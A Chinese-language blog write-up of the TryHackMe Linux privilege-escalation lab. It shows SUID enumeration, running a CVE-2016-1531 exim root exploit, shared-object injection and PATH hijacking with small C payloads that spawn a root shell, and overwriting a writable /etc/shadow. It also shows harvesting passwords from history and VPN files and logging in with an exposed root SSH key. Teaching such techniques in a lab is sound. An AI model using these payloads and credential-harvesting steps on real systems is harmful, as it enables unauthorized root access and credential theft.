滲透測試重新打底(7)--Linux 提權手法


Posted by kahatrix on 2023-09-22

理當來說如果用Public Exploit或是一般的SSH,做了一個Initial Access這種Exploit,你應該會拿到的是低權限的,比如說像是www-data或者是一些可能就是低權限的user,我們要的應該不只如此,我們想要能夠成功的提權,提權目標往往就是Root,以Windows來說就是NT-System,或是Local Administrator。那Linux跟Windows他們做提權的思路其實很相近,不外乎就是找Config、OS攻擊、密碼外洩、專屬於Linux的SUID,或者是Windows他可能可以去攻擊那種Impersonate Privilege(?)。

那Linux我們會搭配這個TryHackMe的Lab:

TryHackMe | Linux PrivEsc

aaa

┌──(root㉿kali)-[~]
└─# ssh user@10.10.119.64
The authenticity of host '10.10.119.64 (10.10.119.64)' can't be established.
RSA key fingerprint is SHA256:JwwPVfqC+8LPQda0B9wFLZzXCXcoAho6s8wYGjktAnk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.119.64' (RSA) to the list of known hosts.
user@10.10.119.64's password:
Permission denied, please try again.
user@10.10.119.64's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
user@debian:~$

我們的目標就是從這個user變成root,那接下來會介紹幾個方法來做提權。第一個要提的是SUID,會先簡單介紹一下什麼是SUID,之後會介紹怎麼樣去利用。

SUID全名叫set uid,是Linux特有的一種特殊權限,用戶A可能設了一個suid權限的binary,之後那userB在使用suid的這個binary的時候,他可以變權限,轉移到這個userA。也就是當你的一個binary被開啟了這suid的時候,他的執行的權限會變成檔案的擁有者,而不是檔案的執行者。要注意就是suid只對執行檔有效,其他都是都是沒有用的,所以他的思路就變得很簡單。假設說如果今天root他config了一個某一個binary,是suid把它setup的狀態,那我們可能可以用低權限,像是我們的user來做提權。我們可以想辦法執行這個suid set的binary做提權。

舉例來說,我要sudo然後做某一件事情。那我在執行後面這一串東西的時候,我的權限提升了變成sudo。但這個sudo跟suid不一樣的地方是,sudo你需要設定不需要密碼直接執行,或者是我sudo了,我需要知道這個root的password是什麼。但是這個suid不用,也就是說這個setuid提供了一個方式,在你執行這個binary的時候會以root的權限來執行,執行完了又回到原本的權限。

我們第一件事情是要找出哪些suid binary在這個系統裡面,這個時候我們可以用前人已經幫我們寫好的command幫你找出來suid binary。這個是offsec他裡面一個員工寫的,這篇文章還蠻好的,就是專門針對linux提權的一些commend:

Basic Linux Privilege Escalation - g0tmi1k

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

SUID / SGID Executables - Known Exploits

可以看到說在我們tryhackme的環境中有這麼多個檔案是suid set的:

user@debian:~$ ls -al /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15  2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr  2  2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15  2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17  2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18  2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15  2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15  2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15  2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15  2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15  2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25  2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13  2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15  2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14  2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25  2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15  2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25  2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17  2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13  2014 /sbin/mount.nfs

那我們隨便挑一個來稍微看一下,可以看到首先他是一個執行檔,而且他在這個擁有者的地方,他有一個s這個這個bit被setup起來,那這邊x就會不見,因為suid他只要你有這個s,我們肯定知道他是執行檔、一個binary這樣子。

user@debian:~$ ls -al /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so

所以通常就是我們可以用像這樣子的command找出設suid set的binary。那如果今天我們看這個檔案的擁有者是root,又看到說這邊有個s被setup的話,那你就可以比如說用suid去執行這個binary,執行時他的權限就會提升為root。但是執行這個事情不代表提權,我們的目的是要攻擊,找出這個binary有沒有什麼漏洞,可以讓我們利用變成root這個樣子。

那在這一個lab我們要攻擊的是這個binary,這個exim-4.84-3這個binary。老實說我也不知道這個binary是要做什麼的,但是我們有幾個跡象,可以在一台lab之中去找說我們會比較感興趣的suid binary。第一個最重要的就是這種有版本的東西,看起來不太像是內建的。內建的就很清楚,就像這種ping啊Mount啊SU啊UMount這種,通常就是內建的,比較不會是能夠被攻擊。像這種日期比較新的,對比2010、2011或2016,這種新的binary比較有可能是人為config。如果是人為config的話,出錯的機率個人認為也會相對比較大。

lab其實有直接把link貼給你,就是說這一個binary其實是可以拿來提權的,也直接給了你一個攻擊的程式,所以很簡單,思路就是你如果掃到了這個binary,你就可以用他這個script。

user@debian:~/tools/suid/exim$ ./cve-2016-1531.sh
[ CVE-2016-1531 local root exploit
sh-4.1# id
uid=0(root) gid=1000(user) groups=0(root)

SUID / SGID Executables - Shared Object Injection

task12這一個lab要講的是攻擊一個so檔案。那so檔案其實是一個類似library的概念,他的全名就是叫shared object,是一個可分享的物件。如果大家對windows系統有熟悉的話,他其實很類似windows的dll檔案(dynamic link library),那你可以把他就是想成一個一個library的概念。如果說你今天一個執行檔要做很多事情,你不可能把所有的library部自己刻。那linux系統跟windows系統都有推出自己的library,目的就是可移植性,而且檔案可以比較縮減檔案大小。

我們寫程式會需要一些library,那如果程式寫的不好,去include一個找不到的library,或者是一個錯誤的library,那會發生什麼事情? 可能會因為找不到這個這個library,所以程式沒辦法執行。這個時候也給了攻擊者一個可乘之機,因為我們可以自己去創一個相同名字的library,讓suid-so這個binary認為我自己創的惡意library就是他要的so檔案,include之後,我們自己創造的library也會被執行,那我們就可以把執行root shell放在這個自己創造的library裡面,因為我們會用sudo來執行,在執行的時候其實是root的狀態,所以你叫root執行shell,這是一件很合理的事情,不會出現任何問題。

那我們要怎麼樣去debug,怎麼樣去找出這一個so的library他所需要的東西呢? 那這個時候我們可以用一個工具strace,他是內建在linux裡面,可以記錄一個執行檔在執行時候的系統呼叫。比如說我打開一個檔案或關閉一個檔案,或是你說寫入一些東西。

user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

i的話是忽略大小寫,就是ignore,那E的話是可以用regex,就是正則表達式。我們可能要找一些東西,比如說我們要打開檔案(open),或者是access一個檔案,或者是我們要去尋找說「系統找不到檔案」(no such file),2>&1,2就是上次有提過就是standard error,那這樣子應該可以把這種error的部分pipe掉。

那在這個最後面的地方我們可以看到他嘗試open了一個在/home/user/.config/libcalc.so這一個檔案,回傳的是沒有這個檔案。我們現在在/home/user底下,其實他是沒有.config這個資料夾:

user@debian:~$ pwd
/home/user
user@debian:~$ ls -al
total 56
drwxr-xr-x 5 user user 4096 May 15  2020 .
drwxr-xr-x 3 root root 4096 May 15  2017 ..
-rw------- 1 user user  140 May 15  2020 .bash_history
-rw-r--r-- 1 user user  220 May 12  2017 .bash_logout
-rw-r--r-- 1 user user 3235 May 14  2017 .bashrc
drwxr-xr-x 2 user user 4096 May 13  2017 .irssi
drwx------ 2 user user 4096 May 15  2020 .john
-rw------- 1 user user  137 May 15  2017 .lesshst
-rw-r--r-- 1 user user  212 May 15  2017 myvpn.ovpn
-rw------- 1 user user   11 May 15  2020 .nano_history
-rw-r--r-- 1 user user  725 May 13  2017 .profile
drwxr-xr-x 8 user user 4096 May 15  2020 tools
-rw------- 1 user user 6334 May 15  2020 .viminfo

現在他想要開這個檔案,而且這個檔案的位置也是我們可控的範圍,我們可以輕鬆的做讀寫。像上面他在這種lib資料夾或是/user/lib資料夾或是/etc資料夾,我們可能不一定有權限去寫入檔案或者是更改檔案名稱。所以這種時候權限很重要,因為我們需要一個可控可寫一個檔案的權限。

接下來思路就很簡單,因為他會嘗試去打開libcalc.so,所以我們創造一個shell,把他命名為libcalc.so,然後再執行一次這個suid-so就可以了。這個lab已經給你了一個攻擊檔案,放在/home/user/tool,我們只要把他compile一下就可以了。compile之前要先把這個資料夾給創出來:

user@debian:~$ mkdir /home/user/.config
user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

那這一個libclic.c檔案其實做的很簡單,他就是開啟這個suid,也就是要真正去abuse這個suid這個權限,然後做system。system就是執行command,然後做一個bash,就只是執行一個shell把他打開而已就這樣子:

user@debian:~$ cat /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

這lab想要傳達的概念是你可以去abuse這個suid這一個特性,但是這個攻擊方法會需要做一點這種debugging,然後去除錯一下,用這種strace來看他有一個open這個我們可以控制範圍內的檔案,但他其實是沒有這個檔案,那我們就等於是利用了這個事情創造了一個shared object的檔案,讓他自己去include進來然後執行我們要的程式。

SUID / SGID Executables - Environment Variables

下一個lab仍然是在講這個suid的部分,他這邊要講的是說suid可以結合不同的漏洞來達成他提權的目的。下一個要攻擊的對象是這一個:/usr/local/bin/suid-env,這個binary我們要攻擊的是fullpath跟shortpath。

什麼是fullpath,什麼是shortpath? 比如說我們要我們下指令ls,他可以list檔案,可是你會好奇這個ifconfig他並沒有在這個資料夾裡面,可是我們仍然能夠執行是為什麼? 我們可以用which來看到指令的檔案路徑:

┌──(root㉿kali)-[~]
└─# which ifconfig
/usr/sbin/ifconfig

┌──(root㉿kali)-[~]
└─# which -a ifconfig
/usr/sbin/ifconfig
/sbin/ifconfig

而且不只他,還有很多個執行檔都會在這個bin底下,比如說這個cp、grep,linux把這個常用的binary,常用的指令都放在這個裡面。但是不管我們現在資料夾在哪裡我們都可以去執行,因為linux他有一個path的概念,我們來看一下:

┌──(root㉿kali)-[~]
└─# $PATH
zsh: no such file or directory: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools

path的意思是說linux他這個terminal你啟動起來,他會有一些預設的路徑,然後他會根據這樣的順序:

/usr/local/sbin、/usr/local/bin、/usr/sbin、/usr/bin、/sbin:/bin、/root/.dotnet/tools

去尋找他要的執行檔案。比如說ifconfig,他其實是在/usr/sbin這個路徑,那我一執行ifconfig的時候,terminal會先從這個/usr/local/sbin去找有沒有ifconfig。

那你會問說path這件事情跟攻擊有什麼關係,其實還蠻有關係的。今天當一個程式開發者想要去執行linux的binary,如果說他沒有給你全部的完整的路徑,這個時候就可以是一個攻擊的對象。

user@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

這個apache2就是一個很簡單的web server,他開在80 port。這個東西你可以把它想成是執行了這個suid-env,跑一跑之後他會去執行這個command(service apache2 start),我們實際執行看看好了,驗證一下是不是真的如我們所說:

user@debian:~$ /usr/local/bin/suid-env
[....] Starting web server: apache2httpd (pid 1764) already running
. ok

執行之後的確有文字output出來,就說starting web server,跟我們猜想的是一樣的,只是他這邊跟你說apache已經其實已經開起來了。在這個時候我們可以確認suid他就是執行這個指令,而且他在執行的時候是給相對路徑,不是絕對路徑。相對路徑就比如說,我今天執行一個ls,這是相對路徑,是要讓系統透過pass的這個方法去找到我的binary。絕對路徑的話就是直接要給他一個完整的路徑名稱,比如bin/ls。

我們可以看一下他這邊用了service apache2 start,先來看一下service這一個binary在哪裡:

user@debian:~$ which service
/usr/sbin/service

所以他service沒有給完整的絕對路徑就是問題。跟大家稍微提一下,在windows作業系統也有這樣的問題,那他的攻擊方法是攻擊DLL。因為windows的系統也會有這種需要include一些library的時候,那windows他自己有一套搜尋的順序,根據不同的順序去搜尋不同的資料夾。那如果你可以放一個惡意的檔案,可以讓它比較先被搜尋到,又可以去寫入的話,那也是一個攻擊方式。

那我們回到service的部分。我們要怎麼樣去攻擊這個沒有絕對路徑的binary呢? 第一個,我們一定要先有一個惡意的這個service binary,這個部分lab裡面有提供。第二個是我們要改變剛剛pass的這個值,因為他一開始先從這個user local bin,這些都是內建的binary,不是我們要的。我們有了惡意的binary之後,我們在這個最前面寫入一個我要可以控制惡意程式的地方,告訴作業系統你先去這個地方搜,然後OS就會找到惡意的binary去執行。

一步一步來,先來編輯一個惡意的service檔案,在TryHackMe上面有提供了一個這個service.c,其實跟剛剛是一樣,也是set UID。

user@debian:~$ cat /home/user/tools/suid/service.c
int main() {
        setuid(0);
        system("/bin/bash -p");
}

那第二件事情是改變path的值,改變的方式,就是我們這個path然後等於,再一個點,然後再冒號(user@debian:~$ PATH=.:$PATH),好,大家可以看到剛剛原本這個path他第一個就是/user/local/bin,但是現在的path的第一個變成了點,也就是當下資料夾。

user@debian:~$ PATH=.:$PATH
user@debian:~$ $PATH
-bash: .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin: No such file or directory

他的意思就是說,你不管在哪裡執行這個binary,我就是會先從目前所在的folder去尋找我所要的檔案或是library或是什麼都好,他就是要先從目前的folder來找。

下一步就是去compile一個service的binary出來:

user@debian:~$ cd /home/user/tools/suid
user@debian:~/tools/suid$ ls
exim  libcalc.c  service.c
user@debian:~/tools/suid$ gcc service.c  -o service
user@debian:~/tools/suid$ ls
exim  libcalc.c  service  service.c

suid-env這一個binary執行下去,執行的時候他會需要執行這個command: service apache2然後start,當執行這個command的時候,作業系統會嘗試去找service這個binary,OS就會根據pass這個值來看說好我要先從目前的目錄去找有沒有service,有那我就執行。這個service是什麼呢? 就是setuid(0),然後system的bin-bash。

user@debian:~/tools/suid$ /usr/local/bin/suid-env
root@debian:~/tools/suid# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root@debian:~/tools/suid# whoami
root

suid的漏洞其實蠻常見的,不管在考試或是lab中都常常會看到,所以大家如果之後在做lab,針對linux提權的話一定要特別看一下suid的部分。那實務就是你看到有些不尋常的binary,就可以google看一下,基本上google看看可能就會有了。比較麻煩的話就是透過剛剛提的strace或者是string,去找他的系統呼叫或者是他的字串,看看說有沒有什麼可以利用的漏洞。

接下來要講的是密碼跟key file。通常有一些偷懶的admin會把密碼放在這種config檔案裡面,或者是密碼就寫在程式裡面。或者是說他在使用者的folder裡面就寫下來密碼的login是什麼帳號密碼這樣子。另外一個關於密碼的概念,是人們傾向在所有的帳號要登入的地方都用一樣的密碼,或者是類似的pattern。

那在linux底下我們可以用一些工具,來尋找有沒有password這個字樣。因為大家通常在密碼記錄的時候都會說,喔username是這個啊password是這個,所以這是一個很好的攻擊方式。所以我們接下來的lab就是會帶大家探討一些比較有機會可以找到這種密碼或者是key的這種地方。

這邊提供幾個小工具。grep,我們可以用grep -r 文字去找文字,那文字的話就要找password,當然在裡面可能是找不到啊,在這個folder底下應該是沒有password這種字樣。或者可以找username或是找什麼config,記得可以配上-i,做case insensitivity,就是忽略大小寫。

另外一個思路,我們知道通常這種帳號密碼檔案會以txt存在。所以我們可以用像是locate這樣的指令來去列出這台系統裡面有怎麼樣txt的檔案。除了txt之外。也可以用像是config。方法很多,就是看大家怎麼去用。如果你找到了密碼,算是離提權也不遠了。所以接下來會來看一些有比較高機率能夠找到密碼或者是key的一些位置。

那我們首先要找的是針對linux系統特有的檔案叫shadow。這個/etc/shadow會儲存使用者密碼的hash。這件事情本身當然是有點危險,所以通常一般的系統只有root user可以去看這個檔案。如果很不巧這個e/tc/shadow檔案可以被大家看到的話,那就會是一件非常危險的事情。我們可以看一下:

鳥哥私房菜 - 第五章、Linux 的檔案權限與目錄配置

在我們的下面例子,lab 3,shadow檔root的部分是可以read跟write,shadow檔案不可執行所以就沒有執行的權限,檔案所屬群組是shadow這個群組,可以看到它只能夠讀不能寫,所以這整個檔案到目前為止,我們看到這前六個就是只有root可以寫入可以讀取,shadow group可以讀取。我們繼續看,這邊這三個是全部其他人(不屬於root也不屬於這個group),好死不死可以讀也可以寫,這就是一件非常危險的事情。你一個低權限或是一個service account,都可以針對shadow檔案去讀寫。

user@debian:~$ ls -al /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow

我們可以看一下裡面長什麼樣子:

user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::

可以看到root的hash直接被列出來,user的也是。因為在這一個機器中能夠有ssh登入的通常應該就是root跟user這兩個使用者,其他的話基本上就是一些service account,這些就跟我們比較沒有關係。有密碼就會有這個hash,其他的話就是沒有。我們可以做的事情就是把這串密碼,就是root然後冒號然後就中間第二個這一整串,拿去暴力破解或是到google看看可不可以找到密碼這樣子。

一般來說linux這個shadow的hash使用SHA-512,如果你直接拿這個去做暴力破解應該是可以用這個john。

剛剛lab3是可讀,lab4是問你可寫要怎麼辦,這邊介紹也很簡單,就是你可以讀可以寫入,然後你用這個mkpassword去更改這個shadow所儲存的值。

mkpassword是密碼生成:

mkpasswd -l 15 -d 3 -c 4 -C 4 -s 2 #直接在命令行进行随机打印
#长度 15 位,数字至少 3位, 小写字母至少4 位,大写字母至少4 位, 特殊字符 至少 2位

那我們就可以等於是更改了root的password,那他這邊指令用mkpasswd,這邊隨便給他root當作root的密碼,生出來的這一串就是root這四個字的sha-512,接下來可以用vim來去改shadow。

user@debian:~$ mkpasswd -m sha-512 root
$6$jOVUIBnOiK$VppI7KSUKp38/wVuGQ3h9kUOdIrCuZ61l2iKIOPdUa5asicUb40vFMZnSRISjCrcPH9kx.pNzNcVL3.bK3cJg0
user@debian:~$ vim /etc/shadow

紅圈處,也就是第一個冒號跟第二個冒號之間,把原本的sha-512刪掉,換成剛剛生成的root的sha-512:

儲存離開後,重新su切換成使用者root登入,密碼打root,就可以提權:

user@debian:~$ su -
Password:
root@debian:~# whoami
root

除了shadow之外,下一個我們要提的算是儲存密碼很重要的地方是/etc/password。這一個檔案跟shadow其實很類似,只是說他在原本該儲存hash的第二欄的地方通常就是放一個x。跟shadow不一樣,通常/etc/passwd是可讀的,因為他不會有hash,真正的hash放在裡面他其實就只是一個x。但這個檔案我們仍然是有用的,因為透過這個檔案寫入的話,仍然是可以更改這種user的屬性,我們也可以透過這個檔案來看他有哪一些user在這個作業系統裡面。

那上圖他是用openssl去產生一個新的hash,然後貼在這個user上面。他在這個地方是要新開一個帳號,他等於是用passwd這個檔案新開一列,然後他可能是一個newroot的這個帳號名稱,然後給他在第二欄的地方放一個新的密碼。

下一個是lab 16:

history指令可以叫出你所有輸入過的指令,幸運的話也可以看到密碼,像是在這個地方:

user@debian:~$ cat ~/.*history
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn
ls
identify

這個mysql的host是什麼,然後u就是user name,p就是password,password是password123,那這也是一個用法。你頂多加個grep,就可以找pass。

除了歷史紀錄以外,我們可以看一些其他的檔案。比如說在你你拿到shell之後,你可以看有沒有一些奇有趣的檔案,像是這個myvpn.ovpn:

user@debian:~$ ls
myvpn.ovpn  tools

他設計在這裡,思路上就是尋找一些比如像是config或是ovpn這種檔案。我們來看一下,既然要做vpn,一定會需要帳號密碼,那ovpn他的格式是這樣子,他會把密碼指定儲存位置,他就把password指定在這個/etc/openvpn/auth.txt,我們就可以直接看他的帳號密碼:

user@debian:~$ ls
myvpn.ovpn  tools
user@debian:~$ cat myvpn.ovpn
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt
comp-lzo
verb 1
reneg-sec 0

user@debian:~$ cat /etc/openvpn/auth.txt
root
password123

到目前是明文密碼的enumeration,接下來要講的是ssh。接下來要講的狀況比較少發生,但的確還是有出現過。這個lab 18要講提權,他特別設計了一個ssh folder,目的就是要讓你進去看一下:

user@debian:~$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25  2019 root_key
user@debian:~$ cd /.ssh
user@debian:/.ssh$ cat root_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ
YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K
824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfN
Whp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----

在這個ssh folder裡面有一個這個root key,ssh不一定要透過帳號密碼來登入,他其實是可以透過key的這種概念來登入。上面是一個private key,從外面要登入ssh的話我可以就拿著這個private key,server一看到你有private key,就會直接讓你root登入。我們就直接複製這個private key到我們的kali上面:

┌──(root㉿kali)-[/home/kali/THM/linux_pri]
└─# vim root_key

把剛剛上面的複製到root_key檔案後儲存,那因為ssh的特性,他會要求說private key只有root才能夠使用,所以我們要先chmod 600,做好之後,就是ssh -i,然後user配上ip,應該就可以直接登入了:

┌──(root㉿kali)-[/home/kali/THM/linux_pri]
└─# chmod 600 root_key

┌──(root㉿kali)-[/home/kali/THM/linux_pri]
└─# ssh -i root_key root@10.10.112.202
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 25 14:02:49 2019 from 192.168.1.2
root@debian:~# shoami
-bash: shoami: command not found
root@debian:~# whoami
root

那password他常常會出現在幾個地點。第一個我們可以透過grep或是locate這樣的指令去找,比如說grep password或是username這個字串,用locate去尋找像是txt、config或是php這種檔案副檔名,通常都是容易出現明文密碼的位置。

